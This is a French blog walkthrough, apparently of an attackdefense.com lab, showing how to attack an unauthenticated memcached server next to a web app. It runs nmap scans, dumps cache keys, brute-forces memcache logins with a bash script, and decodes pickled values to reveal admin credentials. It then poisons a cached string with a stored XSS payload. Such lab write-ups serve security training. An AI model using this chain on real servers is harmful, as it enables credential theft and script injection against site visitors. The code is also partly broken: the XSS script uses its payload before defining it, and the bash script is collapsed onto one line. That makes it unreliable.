Attaque sur serveur Memcache
Lors d’une attaque sur serveur web, il est souvent intéressant de regarder ce qui tourne en parallèle du Apache, Nginx ou autre. Car si un administrateur pense à sécuriser son instance correctement, il peut ne pas penser, voir ne pas être au courant, de l’existence d’un memcache. Nous allons voir comment en tirer parti pour injecter du code dans un lab fourni par attackdefense.com.
Un serveur memcache est, grossièrement, un cache stockant des paires clés / valeurs pouvant être injectées par une appli web et réutilisées pour éviter, par exemple, une ou plusieurs requêtes en base de données. Voici un workflow d’utilisation d’un memcache vulnérable pour injecter une XSS dans une page web.
Pour commencer, un scan du réseau nous permet de détecter notre cible, qu’on va ajouter dans notre /etc/hosts sous le nom de target pour une meilleure lisibilité.
# nmap -p- target Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 22:41 IST Nmap scan report for target (192.226.110.3) Host is up (0.000014s latency). Not shown: 65533 closed ports PORT STATE SERVICE 80/tcp open http 11211/tcp open memcache MAC Address: 02:42:C0:E2:6E:03 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 1.45 seconds
# nmap -p 11211,80 -sV target Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 22:41 IST Nmap scan report for target (192.226.110.3) Host is up (0.000041s latency). PORT STATE SERVICE VERSION 80/tcp open http Werkzeug httpd 0.15.2 (Python 2.7.12) 11211/tcp open memcached Memcached 1.5.12 (uptime 2256 seconds) MAC Address: 02:42:C0:E2:6E:03 (Unknown)
On peut utiliser la suite d’outils memcstat, memcdump, memccat disponible sur Kali pour communiquer avec notre memcache, et récupérer des informations notamment le nombre d’items (paires clés / valeurs) actuellement stockés.
# memcstat --servers target
Server: target (11211)
pid: 7
uptime: 2542
time: 1558890997
version: 1.5.12
libevent: 2.0.21-stable
pointer_size: 64
rusage_user: 0.199857
rusage_system: 0.162674
max_connections: 1024
curr_connections: 2
total_connections: 9
curr_items: 6
total_items: 6
...
# memcdump --servers target
727b67795016b67699873898e27c4f9b
2ac1e38ef28375f61c94667a6ce99de9
29f33cab54c2a8858885b95d8fbb7ff1
4425322b4d3b21484e2719c278c0a459
a39fedb2e367ecece6c46f8810b27239
7f912776f6411601e787d6fe393c3368
Si jamais le serveur ne répond pas, c’est que la connexion requiert probablement un couple login + password. Il peut être bruteforcé assez rapidement (selon complexité du password et timeout / ban etc… bien sûr) via un petit script bash. Je ne crois pas qu’il existe de module metasploit pour cela par contre.
#! /bin/bash while read F ; do echo "Trying $F" if memcstat --servers=$1 --username=$2 --password=$F | grep -q Server ; then echo "Password Found: "$F break fi done < $3
Une fois que l’on a récupéré les items, on peut voir ce qu’ils contiennent en les requêtant avec memccat. On voit ici qu’il s’agit d’une sérialisation d’une chaîne probablement encodée en base 64. Essayons de les décoder avec un petit script python.
# for key in $(memcdump --servers target); do memccat --servers target $key; done S'YWRtaW4=' p0 . S'MTItNi0xOQ==' p0 . S'cGFzc3dvcmRAMTIz' p0 . S'QWRtaW4=' p0 . S'V2VsY29tZSB0byBBdHRhY2sgRGVmZW5zZSBMYWJz' p0 . S'YWRtaW5AYXR0YWNrZGVmZW5zZWxhYnMuY29t' p0 .
from pymemcache.client.base import Client from base64 import b64decode import pickle client = Client(('target', 11211)) keys = ['727b67795016b67699873898e27c4f9b', '2ac1e38ef28375f61c94667a6ce99de9', '29f33cab54c2a8858885b95d8fbb7ff1', '4425322b4d3b21484e2719c278c0a459', 'a39fedb2e367ecece6c46f8810b27239', '7f912776f6411601e787d6fe393c3368'] for key in keys: b64decode(pickle.loads(client.get(key)))
===== Output ===== 'admin' '12-6-19' 'password@123' 'Admin' 'Welcome to Attack Defense Labs' 'admin@attackdefenselabs.com'
Comme on peut le voir, plusieurs informations peuvent être de grande valeur. Mettons ça de côté un petit instant et regardons ce qu’il se cache derrière le service web de la cible en question.
On peut voir que parmi les informations en cache, “Welcome to Attack Defense Labs” fait parti des items. Essayons de remplacer la valeur en cache en injectant une XSS.
from pymemcache.client.base import Client from base64 import b64encode import pickle client = Client(('target', 11211)) key = 'a39fedb2e367ecece6c46f8810b27239' client.set(key, pickle.dumps(b64encode(payload))) payload = "<script>alert('XSS Found!');</script>" client.set(key, pickle.dumps(b64encode(payload)))
Et voilà le résultat!
Il ne reste plus qu’à utiliser cette Stored XSS correctement pour récupérer des informations intéressantes!
Laisser un commentaire